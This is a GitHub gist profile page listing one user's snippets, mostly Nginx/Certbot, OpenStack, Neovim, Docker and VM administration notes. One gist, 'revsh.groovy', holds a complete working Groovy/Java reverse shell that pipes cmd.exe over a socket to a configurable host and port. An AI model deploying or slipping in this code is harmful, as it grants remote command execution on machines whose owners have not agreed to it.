Skip to content

Instantly share code, notes, and snippets.

View gwarf's full-sized avatar
🌄
Hanging around

Baptiste Grenier gwarf

🌄
Hanging around
View GitHub Profile
@gwarf
gwarf / 01_nginx-reload-post-hook.sh
Created November 21, 2023 12:58 — forked from justinhartman/01_nginx-reload-post-hook.sh
Let's Encrypt Certbot post hook command for Nginx which checks the updated configuration files and reloads the server if everything validates.
#!/usr/bin/env bash
#
# Certbot Nginx Reload
#
# Let's Encrypt Certbot post hook command for Nginx which checks the updated
# configuration files and reloads the server if everything validates.
#
# Author : Justin Hartman <code@justinhartman.co>
# Version : 1.0.1
# License : MIT <https://opensource.org/licenses/MIT>
@gwarf
gwarf / revsh.groovy
Created April 28, 2021 18:07 — forked from frohoff/revsh.groovy
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@gwarf
gwarf / _openstack
Last active November 6, 2022 19:46 — forked from philipsd6/_openstack
openstack completion for zsh, lifted from http://www.zsh.org/mla/workers/2016/msg01936.html
#compdef openstack aodh barbican ceilometer cinder cloudkitty designate glance gnocchi heat ironic keystone magnum manila mistral monasca murano neutr
# https://wiki.openstack.org/wiki/OpenStackClients
# http://docs.openstack.org/user-guide/common/cli-install-openstack-command-line-clients.html
local curcontext="$curcontext" state line expl ret=1
local -a clnts_compl_new clnts_compl_old clnts_swift_like
#
@gwarf
gwarf / neovim_ruby_python.md
Last active November 19, 2022 08:20
Neovim, ruby and python

Environments

The environement are configured from ~/.config/nvim

dotfiles - vim setup

See https://github.com/gwarf/dotfiles

Configure python2 and python3 for Neovim

@gwarf
gwarf / Dockerfile
Created September 5, 2019 09:04 — forked from yankcrime/Dockerfile
Dockerfile for neomutt
# Dockerfile for NeoMutt plus 'essentials'
# Largely inspired by Jess Frazelle (@jessfraz)
#
FROM alpine:3.6
RUN apk --no-cache add \
ca-certificates
ENV HOME /home/user
RUN adduser -u 1000 -D user \
@gwarf
gwarf / GPG_replace_old_key.md
Last active January 1, 2023 15:12
GPG Kunk-fu
@gwarf
gwarf / TLS_Checking.md
Last active January 31, 2023 09:05
Checking TLS/SSL/certificate configuration
@gwarf
gwarf / README.rst
Last active April 3, 2019 09:02
reStructuredText tests
@gwarf
gwarf / VM_image_mount.md
Last active March 14, 2019 15:39
Mount a VM image

Mount a VM image

raw image disk

losetup /dev/loop0 image.img
# or
losetup -f file.raw
# if /dev/loop0p1 does not exist
kpartx -a /dev/loop0
@gwarf
gwarf / CentOS 7 with Desktop
Last active March 14, 2019 09:51
Setup a CentOS 7 VM with desktop
# CentOS 6 with Gnome desktop
```console
sudo yum groupinstall -y "GNOME Desktop"
sudo systemctl set-default graphical.target
```
When running in VirtualBox, if not able to see mouse cursor:
Launch VirtualBox --> Oracle VM VirtualBox Manager --> Select VM --> Settings --> Display --> Graphics Controller --> VBoxSVGA